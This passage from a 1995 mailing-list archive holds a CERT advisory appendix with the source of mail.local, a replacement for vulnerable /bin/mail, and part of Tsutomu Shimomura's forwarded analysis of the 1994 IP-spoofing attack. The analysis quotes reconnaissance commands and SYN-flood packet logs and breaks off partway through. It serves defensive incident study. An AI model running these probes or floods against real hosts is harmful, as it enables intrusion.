        in the /sun/fixes directory. 


Appendix B: README File for mail.local.c

/bin/mail is a setuid root program with several security vulnerabilities.  If
you cannot obtain a vendor-supplied replacement for /bin/mail, the CERT
Coordination Center suggests using mail.local as a replacement for /bin/mail.

In the early days of UNIX, /bin/mail was used to read and to send e-mail.
Over the years, many users have switched to e-mail programs with better user
interfaces and more features.

On BSD 4.3 based UNIX systems using sendmail, /bin/mail is still being used
as the local delivery agent.  These systems could be at risk.  Systems based
on UNIX system III or system IV are not vulnerable.

mail.local is a replacement for the /bin/mail program.  It is only a
delivery agent for sendmail and does not have a user interface.  It is
distributed as a C source file.

For operating systems based on BSD 4.3, mail.local.c from a BSD 4.4
distribution will not compile.  The version of mail.local.c in this directory
was ported to BSD 4.3 by Eric Allman.  It should compile and operate on most
BSD 4.3 systems.  It has been tested on SunOS 4.1.x and Ultrix 4.x systems.

To install mail.local, edit the source file to set the _PATH_MAILDIR to the
directory where users' spooled mail files are located.  The default is
"/var/spool/mail".

SunOS
	% cc -Bstatic -O -o mail.local mail.local.c
Ultrix
	% cc -O -o mail.local mail.local.c -Dultrix

As root:

	# mv mail.local $INSTALL_DIR

		Substitute $INSTALL_DIR for the full pathname of the 
		directory where mail.local will be installed.

	# chown root $INSTALL_DIR/mail.local
	# chmod 4711 $INSTALL_DIR/mail.local

	Edit the sendmail.cf file (in /etc or /usr/lib) search for Mlocal.
	On that line, replace /bin/mail with $INSTALL_DIR/mail.local.
	Restart the sendmail process.  For versions of sendmail using
	frozen configuration files,  it is important to refreeze the
	configuration file before restarting the sendmail process.

	Test the e-mail system.  When you are satisfied that everything
	is working, disable the setuid root bit on the /bin/mail program.

	# chmod 0711 /bin/mail 
		OR
	# chmod 0711 /usr/bin/mail


  ****************************************************************************
  *   The CERT Coordination Center will not formally review, evaluate, or    *
  *   endorse the program described.  The decision to use the program        *
  *   described is the responsibility of each user or organization and we    *
  *   encourage each organization to thoroughly evaluate this program        *
  *   before installation or use.                                            *
  ****************************************************************************


Appendix C: mail.local.c

/*-
 * Copyright (c) 1990, 1993, 1994
 *	The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *	This product includes software developed by the University of
 *	California, Berkeley and its contributors.
 * 4. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#ifndef lint
static char copyright[] =
"@(#) Copyright (c) 1990, 1993, 1994\n\
	The Regents of the University of California.  All rights reserved.\n";
#endif /* not lint */

#ifndef lint
static char sccsid[] = "@(#)mail.local.c	8.18 (Berkeley) 1/25/95";
#endif /* not lint */

/*
 * This is not intended to compile on System V derived systems
 * such as Solaris or HP-UX, since they use a totally different
 * approach to mailboxes (essentially, they have a setgid program
 * rather than setuid, and they rely on the ability to "give away"
 * files to do their work).  IT IS NOT A BUG that this doesn't
 * compile on such architectures.
 */

#include <sys/param.h>
#include <sys/stat.h>
#include <sys/socket.h>

#include <netinet/in.h>

#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sysexits.h>
#include <syslog.h>
#include <time.h>
#include <unistd.h>
#include <ctype.h>

#if __STDC__
#include <stdarg.h>
#else
#include <varargs.h>
#endif

#ifndef LOCK_EX
# include <sys/file.h>
#endif

#ifdef BSD4_4
# include "pathnames.h"
#endif

#ifndef __P
# ifdef __STDC__
#  define __P(protos)	protos
# else
#  define __P(protos)	()
#  define const
# endif
#endif
#ifndef __dead
# if defined(__GNUC__) && (__GNUC__ < 2 || __GNUC_MINOR__ < 5) && !defined(__STRICT_ANSI__)
#  define __dead	__volatile
# else
#  define __dead
# endif
#endif

#ifndef BSD4_4
# define _BSD_VA_LIST_	va_list
extern char	*strerror __P((int));
#endif

#ifndef _PATH_LOCTMP
# define _PATH_LOCTMP	"/tmp/local.XXXXXX"
#endif
#ifndef _PATH_MAILDIR
# define _PATH_MAILDIR	"/var/spool/mail"
#endif

#ifndef S_ISREG
# define S_ISREG(mode)	(((mode) & _S_IFMT) == S_IFREG)
#endif

int eval = EX_OK;			/* sysexits.h error value. */

void		deliver __P((int, char *));
void		e_to_sys __P((int));
__dead void	err __P((const char *, ...));
void		notifybiff __P((char *));
int		store __P((char *));
void		usage __P((void));
void		vwarn __P((const char *, _BSD_VA_LIST_));
void		warn __P((const char *, ...));

int
main(argc, argv)
	int argc;
	char *argv[];
{
	struct passwd *pw;
	int ch, fd;
	uid_t uid;
	char *from;
	extern char *optarg;
	extern int optind;

	/* make sure we have some open file descriptors */
	for (fd = 10; fd < 30; fd++)
		(void) close(fd);

	/* use a reasonable umask */
	(void) umask(0077);

#ifdef LOG_MAIL
	openlog("mail.local", 0, LOG_MAIL);
#else
	openlog("mail.local", 0);
#endif

	from = NULL;
	while ((ch = getopt(argc, argv, "df:r:")) != EOF)
		switch(ch) {
		case 'd':		/* Backward compatible. */
			break;
		case 'f':
		case 'r':		/* Backward compatible. */
			if (from != NULL) {
				warn("multiple -f options");
				usage();
			}
			from = optarg;
			break;
		case '?':
		default:
			usage();
		}
	argc -= optind;
	argv += optind;

	if (!*argv)
		usage();

	/*
	 * If from not specified, use the name from getlogin() if the
	 * uid matches, otherwise, use the name from the password file
	 * corresponding to the uid.
	 */
	uid = getuid();
	if (!from && (!(from = getlogin()) ||
	    !(pw = getpwnam(from)) || pw->pw_uid != uid))
		from = (pw = getpwuid(uid)) ? pw->pw_name : "???";

	/*
	 * There is no way to distinguish the error status of one delivery
	 * from the rest of the deliveries.  So, if we failed hard on one
	 * or more deliveries, but had no failures on any of the others, we
	 * return a hard failure.  If we failed temporarily on one or more
	 * deliveries, we return a temporary failure regardless of the other
	 * failures.  This results in the delivery being reattempted later
	 * at the expense of repeated failures and multiple deliveries.
	 */
	for (fd = store(from); *argv; ++argv)
		deliver(fd, *argv);
	exit(eval);
}

int
store(from)
	char *from;
{
	FILE *fp;
	time_t tval;
	int fd, eline;
	char line[2048];
	char tmpbuf[sizeof _PATH_LOCTMP + 1];

	strcpy(tmpbuf, _PATH_LOCTMP);
	if ((fd = mkstemp(tmpbuf)) == -1 || (fp = fdopen(fd, "w+")) == NULL) {
		e_to_sys(errno);
		err("unable to open temporary file");
	}
	(void)unlink(tmpbuf);

	(void)time(&tval);
	(void)fprintf(fp, "From %s %s", from, ctime(&tval));

	line[0] = '\0';
	for (eline = 1; fgets(line, sizeof(line), stdin);) {
		if (line[0] == '\n')
			eline = 1;
		else {
			if (eline && line[0] == 'F' &&
			    !memcmp(line, "From ", 5))
				(void)putc('>', fp);
			eline = 0;
		}
		(void)fprintf(fp, "%s", line);
		if (ferror(fp)) {
			e_to_sys(errno);
			err("temporary file write error");
		}
	}

	/* If message not newline terminated, need an extra. */
	if (!strchr(line, '\n'))
		(void)putc('\n', fp);
	/* Output a newline; note, empty messages are allowed. */
	(void)putc('\n', fp);

	if (fflush(fp) == EOF || ferror(fp)) {
		e_to_sys(errno);
		err("temporary file write error");
	}
	return (fd);
}

void
deliver(fd, name)
	int fd;
	char *name;
{
	struct stat fsb, sb;
	struct passwd *pw;
	int mbfd, nr, nw, off;
	char *p;
	char biffmsg[100], buf[8*1024], path[MAXPATHLEN];
	off_t curoff;

	/*
	 * Disallow delivery to unknown names -- special mailboxes can be
	 * handled in the sendmail aliases file.
	 */
	if (!(pw = getpwnam(name))) {
		if (eval != EX_TEMPFAIL)
			eval = EX_UNAVAILABLE;
		warn("unknown name: %s", name);
		return;
	}

	/*
	 * Keep name reasonably short to avoid buffer overruns.
	 *	This isn't necessary on BSD because of the proper
	 *	definition of snprintf(), but it can cause problems
	 *	on other systems.
	 * Also, clear out any bogus characters.
	 */

	if (strlen(name) > 40)
		name[40] = '\0';
	for (p = name; *p != '\0'; p++)
	{
		if (!isascii(*p))
			*p &= 0x7f;
		else if (!isprint(*p))
			*p = '.';
	}

	(void)snprintf(path, sizeof(path), "%s/%s", _PATH_MAILDIR, name);

	/*
	 * If the mailbox is linked or a symlink, fail.  There's an obvious
	 * race here, that the file was replaced with a symbolic link after
	 * the lstat returned, but before the open.  We attempt to detect
	 * this by comparing the original stat information and information
	 * returned by an fstat of the file descriptor returned by the open.
	 *
	 * NB: this is a symptom of a larger problem, that the mail spooling
	 * directory is writeable by the wrong users.  If that directory is
	 * writeable, system security is compromised for other reasons, and
	 * it cannot be fixed here.
	 *
	 * If we created the mailbox, set the owner/group.  If that fails,
	 * just return.  Another process may have already opened it, so we
	 * can't unlink it.  Historically, binmail set the owner/group at
	 * each mail delivery.  We no longer do this, assuming that if the
	 * ownership or permissions were changed there was a reason.
	 *
	 * XXX
	 * open(2) should support flock'ing the file.
	 */
tryagain:
	lockmbox(path);
	if (lstat(path, &sb)) {
		mbfd = open(path,
		    O_APPEND|O_CREAT|O_EXCL|O_WRONLY, S_IRUSR|S_IWUSR);
		if (mbfd == -1) {
			if (errno == EEXIST)
				goto tryagain;
		} else if (fchown(mbfd, pw->pw_uid, pw->pw_gid)) {
			e_to_sys(errno);
			warn("chown %u.%u: %s", pw->pw_uid, pw->pw_gid, name);
			unlockmbox();
			return;
		}
	} else if (sb.st_nlink != 1 || !S_ISREG(sb.st_mode)) {
		e_to_sys(errno);
		warn("%s: irregular file", path);
		unlockmbox();
		return;
	} else if (sb.st_uid != pw->pw_uid) {
		warn("%s: wrong ownership (%d)", path, sb.st_uid);
		unlockmbox();
		return;
	} else {
		mbfd = open(path, O_APPEND|O_WRONLY, 0);
		if (mbfd != -1 &&
		    (fstat(mbfd, &fsb) || fsb.st_nlink != 1 ||
		    !S_ISREG(fsb.st_mode) || sb.st_dev != fsb.st_dev ||
		    sb.st_ino != fsb.st_ino || sb.st_uid != fsb.st_uid)) {
			warn("%s: file changed after open", path);
			(void)close(mbfd);
			unlockmbox();
			return;
		}
	}

	if (mbfd == -1) {
		e_to_sys(errno);
		warn("%s: %s", path, strerror(errno));
		unlockmbox();
		return;
	}

	/* Wait until we can get a lock on the file. */
	if (flock(mbfd, LOCK_EX)) {
		e_to_sys(errno);
		warn("%s: %s", path, strerror(errno));
		unlockmbox();
		goto err1;
	}

	/* Get the starting offset of the new message for biff. */
	curoff = lseek(mbfd, (off_t)0, SEEK_END);
	(void)snprintf(biffmsg, sizeof(biffmsg),
		sizeof curoff > sizeof(long) ? "%s@%qd\n" : "%s@%ld\n", 
		name, curoff);

	/* Copy the message into the file. */
	if (lseek(fd, (off_t)0, SEEK_SET) == (off_t)-1) {
		e_to_sys(errno);
		warn("temporary file: %s", strerror(errno));
		goto err1;
	}
	while ((nr = read(fd, buf, sizeof(buf))) > 0)
		for (off = 0; off < nr; off += nw)
			if ((nw = write(mbfd, buf + off, nr - off)) < 0) {
				e_to_sys(errno);
				warn("%s: %s", path, strerror(errno));
				goto err2;;
			}
	if (nr < 0) {
		e_to_sys(errno);
		warn("temporary file: %s", strerror(errno));
		goto err2;;
	}

	/* Flush to disk, don't wait for update. */
	if (fsync(mbfd)) {
		e_to_sys(errno);
		warn("%s: %s", path, strerror(errno));
err2:		(void)ftruncate(mbfd, curoff);
err1:		(void)close(mbfd);
		unlockmbox();
		return;
	}
		
	/* Close and check -- NFS doesn't write until the close. */
	if (close(mbfd)) {
		e_to_sys(errno);
		warn("%s: %s", path, strerror(errno));
		unlockmbox();
		return;
	}

	unlockmbox();
	notifybiff(biffmsg);
}

/*
 * user.lock files are necessary for compatibility with other
 * systems, e.g., when the mail spool file is NFS exported.
 * Alas, mailbox locking is more than just a local matter.
 * EPA 11/94.
 */

char	lockname[MAXPATHLEN];
int	locked = 0;

lockmbox(path)
	char *path;
{
	int statfailed = 0;

	if (locked)
		return;
	sprintf(lockname, "%s.lock", path);
	for (;; sleep(5)) {
		int fd;
		struct stat st;
		time_t now;

		fd = open(lockname, O_WRONLY|O_EXCL|O_CREAT, 0);
		if (fd >= 0) {
			locked = 1;
			close(fd);
			return;
		}
		if (stat(lockname, &st) < 0) {
			if (statfailed++ > 5)
				return;
			continue;
		}
		statfailed = 0;
		time(&now);
		if (now < st.st_ctime + 300)
			continue;
		unlink(lockname);
	}
}

unlockmbox()
{
	if (!locked)
		return;
	unlink(lockname);
	locked = 0;
}

void
notifybiff(msg)
	char *msg;
{
	static struct sockaddr_in addr;
	static int f = -1;
	struct hostent *hp;
	struct servent *sp;
	int len;

	if (!addr.sin_family) {
		/* Be silent if biff service not available. */
		if (!(sp = getservbyname("biff", "udp")))
			return;
		if (!(hp = gethostbyname("localhost"))) {
			warn("localhost: %s", strerror(errno));
			return;
		}
		addr.sin_family = hp->h_addrtype;
		memcpy(&addr.sin_addr, hp->h_addr, hp->h_length);
		addr.sin_port = sp->s_port;
	}
	if (f < 0 && (f = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
		warn("socket: %s", strerror(errno));
		return;
	}
	len = strlen(msg) + 1;
	if (sendto(f, msg, len, 0, (struct sockaddr *)&addr, sizeof(addr))
	    != len)
		warn("sendto biff: %s", strerror(errno));
}

void
usage()
{
	eval = EX_USAGE;
	err("usage: mail.local [-f from] user ...");
}

#if __STDC__
void
err(const char *fmt, ...)
#else
void
err(fmt, va_alist)
	const char *fmt;
	va_dcl
#endif
{
	va_list ap;

#if __STDC__
	va_start(ap, fmt);
#else
	va_start(ap);
#endif
	vwarn(fmt, ap);
	va_end(ap);

	exit(eval);
}

void
#if __STDC__
warn(const char *fmt, ...)
#else
warn(fmt, va_alist)
	const char *fmt;
	va_dcl
#endif
{
	va_list ap;

#if __STDC__
	va_start(ap, fmt);
#else
	va_start(ap);
#endif
	vwarn(fmt, ap);
	va_end(ap);
}

void
vwarn(fmt, ap)
	const char *fmt;
	_BSD_VA_LIST_ ap;
{
	/*
	 * Log the message to stderr.
	 *
	 * Don't use LOG_PERROR as an openlog() flag to do this,
	 * it's not portable enough.
	 */
	if (eval != EX_USAGE)
		(void)fprintf(stderr, "mail.local: ");
	(void)vfprintf(stderr, fmt, ap);
	(void)fprintf(stderr, "\n");

#ifndef ultrix
	/* Log the message to syslog. */
	vsyslog(LOG_ERR, fmt, ap);
#else
	{
		char fmtbuf[10240];

		(void) sprintf(fmtbuf, fmt, ap);
		syslog(LOG_ERR, "%s", fmtbuf);
	}
#endif
}

/*
 * e_to_sys --
 *	Guess which errno's are temporary.  Gag me.
 */
void
e_to_sys(num)
	int num;
{
	/* Temporary failures override hard errors. */
	if (eval == EX_TEMPFAIL)
		return;

	switch(num) {		/* Hopefully temporary errors. */
#ifdef EAGAIN
	case EAGAIN:		/* Resource temporarily unavailable */
#endif
#ifdef EDQUOT
	case EDQUOT:		/* Disc quota exceeded */
#endif
#ifdef EBUSY
	case EBUSY:		/* Device busy */
#endif
#ifdef EPROCLIM
	case EPROCLIM:		/* Too many processes */
#endif
#ifdef EUSERS
	case EUSERS:		/* Too many users */
#endif
#ifdef ECONNABORTED
	case ECONNABORTED:	/* Software caused connection abort */
#endif
#ifdef ECONNREFUSED
	case ECONNREFUSED:	/* Connection refused */
#endif
#ifdef ECONNRESET
	case ECONNRESET:	/* Connection reset by peer */
#endif
#ifdef EDEADLK
	case EDEADLK:		/* Resource deadlock avoided */
#endif
#ifdef EFBIG
	case EFBIG:		/* File too large */
#endif
#ifdef EHOSTDOWN
	case EHOSTDOWN:		/* Host is down */
#endif
#ifdef EHOSTUNREACH
	case EHOSTUNREACH:	/* No route to host */
#endif
#ifdef EMFILE
	case EMFILE:		/* Too many open files */
#endif
#ifdef ENETDOWN
	case ENETDOWN:		/* Network is down */
#endif
#ifdef ENETRESET
	case ENETRESET:		/* Network dropped connection on reset */
#endif
#ifdef ENETUNREACH
	case ENETUNREACH:	/* Network is unreachable */
#endif
#ifdef ENFILE
	case ENFILE:		/* Too many open files in system */
#endif
#ifdef ENOBUFS
	case ENOBUFS:		/* No buffer space available */
#endif
#ifdef ENOMEM
	case ENOMEM:		/* Cannot allocate memory */
#endif
#ifdef ENOSPC
	case ENOSPC:		/* No space left on device */
#endif
#ifdef EROFS
	case EROFS:		/* Read-only file system */
#endif
#ifdef ESTALE
	case ESTALE:		/* Stale NFS file handle */
#endif
#ifdef ETIMEDOUT
	case ETIMEDOUT:		/* Connection timed out */
#endif
#if defined(EWOULDBLOCK) && EWOULDBLOCK != EAGAIN && EWOULDBLOCK != EDEADLK
	case EWOULDBLOCK:	/* Operation would block. */
#endif
		eval = EX_TEMPFAIL;
		break;
	default:
		eval = EX_UNAVAILABLE;
		break;
	}
}

#ifndef BSD4_4

char *
strerror(eno)
	int eno;
{
	extern int sys_nerr;
	extern char *sys_errlist[];
	static char ebuf[60];

	if (eno >= 0 && eno <= sys_nerr)
		return sys_errlist[eno];
	(void) sprintf(ebuf, "Error %d", eno);
	return ebuf;
}

#if __STDC__
snprintf(char *buf, int bufsiz, const char *fmt, ...)
#else
snprintf(buf, bufsiz, fmt, va_alist)
	char *buf;
	int bufsiz;
	const char *fmt;
	va_dcl
#endif
{
	va_list ap;

#if __STDC__
	va_start(ap, fmt);
#else
	va_start(ap);
#endif
	vsprintf(buf, fmt, ap);
	va_end(ap);
}

#endif

#ifdef ultrix

/*
 * Copyright (c) 1987, 1993
 *	The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *	This product includes software developed by the University of
 *	California, Berkeley and its contributors.
 * 4. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#if defined(LIBC_SCCS) && !defined(lint)
static char sccsid[] = "@(#)mktemp.c	8.1 (Berkeley) 6/4/93";
#endif /* LIBC_SCCS and not lint */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <ctype.h>

static int _gettemp();

mkstemp(path)
	char *path;
{
	int fd;

	return (_gettemp(path, &fd) ? fd : -1);
}

/*
char *
mktemp(path)
	char *path;
{
	return(_gettemp(path, (int *)NULL) ? path : (char *)NULL);
}
*/

static
_gettemp(path, doopen)
	char *path;
	register int *doopen;
{
	extern int errno;
	register char *start, *trv;
	struct stat sbuf;
	u_int pid;

	pid = getpid();
	for (trv = path; *trv; ++trv);		/* extra X's get set to 0's */
	while (*--trv == 'X') {
		*trv = (pid % 10) + '0';
		pid /= 10;
	}

	/*
	 * check the target directory; if you have six X's and it
	 * doesn't exist this runs for a *very* long time.
	 */
	for (start = trv + 1;; --trv) {
		if (trv <= path)
			break;
		if (*trv == '/') {
			*trv = '\0';
			if (stat(path, &sbuf))
				return(0);
			if (!S_ISDIR(sbuf.st_mode)) {
				errno = ENOTDIR;
				return(0);
			}
			*trv = '/';
			break;
		}
	}

	for (;;) {
		if (doopen) {
			if ((*doopen =
			    open(path, O_CREAT|O_EXCL|O_RDWR, 0600)) >= 0)
				return(1);
			if (errno != EEXIST)
				return(0);
		}
		else if (stat(path, &sbuf))
			return(errno == ENOENT ? 1 : 0);

		/* tricky little algorithm for backward compatibility */
		for (trv = start;;) {
			if (!*trv)
				return(0);
			if (*trv == 'z')
				*trv++ = 'a';
			else {
				if (isdigit(*trv))
					*trv = 'a';
				else
					++*trv;
				break;
			}
		}
	}
	/*NOTREACHED*/
}

#endif






--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From piotrwi Fri Jan 27 11:14:59 1995
Received:  by zsku.p.lodz.pl (5.65/25-eef)
	id AA01650; Fri, 27 Jan 95 11:13:29 +0100
Return-Path: <piotrwi>
Date: Fri, 27 Jan 1995 11:13:25 +0100 (MEZ)
From: Piotr Wilk <piotrwi@zsku.p.lodz.pl>
To: polip@zsku.p.lodz.pl
Subject: Technical details of the attack described by Markoff in NYT
Message-Id: <Pine.SCO.3.91.950127111232.1601A-100000@zsku.p.lodz.pl>
Organization: Samodzielny Zaklad Sieci Komputerowych Politechniki Lodzkiej
Address: 90-924 Lodz; ul. Stefanowskiego 18/22
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


---------- Forwarded message ----------
>From krzysio@hebe.umcs.lublin.pl Fri Jan 27 00:26:57 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA24370; Fri, 27 Jan 95 00:25:57 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id XAA11256 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 23:32:31 GMT
Received: from relay4.UU.NET (relay4.UU.NET [192.48.96.14]) by hebe.umcs.lublin.pl (8.6.9/8.6.9) with ESMTP id XAA11015 for <krzysio@hebe.umcs.lublin.pl>; Thu, 26 Jan 1995 23:19:03 GMT
Received: from miles.greatcircle.com by relay4.UU.NET with ESMTP 
	id QQyaki08329; Thu, 26 Jan 1995 18:08:47 -0500
Received: (daemon@localhost) by miles.greatcircle.com (8.6.9/Miles-941015-1) id LAA01984 for firewalls-outgoing; Thu, 26 Jan 1995 11:27:31 -0800
Received: from ariel.sdsc.edu (ariel.sdsc.edu [132.249.22.240]) by miles.greatcircle.com (8.6.9/Miles-941015-1) with ESMTP id EAA09230 for <firewalls@greatcircle.com>; Wed, 25 Jan 1995 04:38:35 -0800
Received: from localhost (tsutomu@localhost) by ariel.sdsc.edu (8.6.4/8.6.4) id EAA05736 for firewalls@greatcircle.com; Wed, 25 Jan 1995 04:36:45 -0800
Date: Wed, 25 Jan 1995 04:36:45 -0800
From: Tsutomu Shimomura <tsutomu@ariel.sdsc.edu>
Message-Id: <199501251236.EAA05736@ariel.sdsc.edu>
Newsgroups: comp.security.misc,comp.protocols.tcp-ip,alt.security
Organization: San Diego Supercomputer Center
Cc: firewalls@hebe.umcs.lublin.pl
Subject: Technical details of the attack described by Markoff in NYT
Keywords: IP spoofing, security, session hijacking
Sender: krzysio@hebe.umcs.lublin.pl
Precedence: bulk

Greetings from Lake Tahoe.

There seems to be a lot of confusion about the IP address spoofing and
connection hijacking attacks described by John Markoff's 1/23/95 NYT article,
and CERT advisory CA-95:01.

Here are some technical details from my presentation on 1/11/95 at CMAD 3
in Sonoma, California.  Hopefully this will help clear up any misunderstandings
as to the nature of these attacks.

Two different attack mechanisms were used.  IP source address spoofing
and TCP sequence number prediction were used to gain initial access to a
diskless workstation being used mostly as an X terminal.  After root access
had been obtained, an existing connection to another system was hijacked by
means of a loadable kernel STREAMS module.

Included in this note are excerpts from actual tcpdump packet logs generated
by this attack.  In the interest of clarity (and brevity!), some of the data
has been omitted.

I highly recommend Steve Bellovin's paper and posts on IP spoofing, as he 
describes in more detail the semantics of the TCP handshake, as well as making
some suggestions on how to defeat this attack.

My configuration is as follows:
	server = a SPARCstation running Solaris 1 serving my "X terminal"
	x-terminal = a diskless SPARCstation running Solaris 1
	target = the apparent primary target of the attack

-----

The IP spoofing attack started at about 14:09:32 PST on 12/25/94.  The first
probes were from toad.com (this info derived from packet logs):

14:09:32 toad.com# finger -l @target
14:10:21 toad.com# finger -l @server
14:10:50 toad.com# finger -l root@server
14:11:07 toad.com# finger -l @x-terminal
14:11:38 toad.com# showmount -e x-terminal
14:11:49 toad.com# rpcinfo -p x-terminal
14:12:05 toad.com# finger -l root@x-terminal

The apparent purpose of these probes was to determine if there might be
some kind of trust relationship amongst these systems which could be exploited
with an IP spoofing attack.  The source port numbers for the showmount and
rpcinfo indicate that the attacker is root on toad.com.

-----

About six minutes later, we see a flurry of TCP SYNs (initial connection
requests) from 130.92.6.97 to port 513 (login) on server.  The purpose of
these SYNs is to fill the connection queue for port 513 on server with
"half-open" connections so it will not respond to any new connection
requests.  In particular, it will not generate TCP RSTs in response to
unexpected SYN-ACKs.

As port 513 is also a "privileged" port (< IPPORT_RESERVED), server.login
can now be safely used as the putative source for an address spoofing
attack on the UNIX "r-services" (rsh, rlogin).  130.92.6.97 appears to be
a random (forged) unused address (one that will not generate any response
to packets sent to it):

14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096
14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096
14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096
14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096
14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096
14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096
14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096
14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096
14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096
14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096
14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096
14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096
14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096
14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096
14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096
14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096
14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096
14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096
14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096
14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096
14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096
14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096
14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096
14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096
14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096
14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096
14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096
14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096
14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096
14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096

server generated SYN-ACKs for the first eight SYN requests before the
connection queue filled up.  server will periodically retransmit these
SYN-ACKs as there is nothing to ACK them.

-----

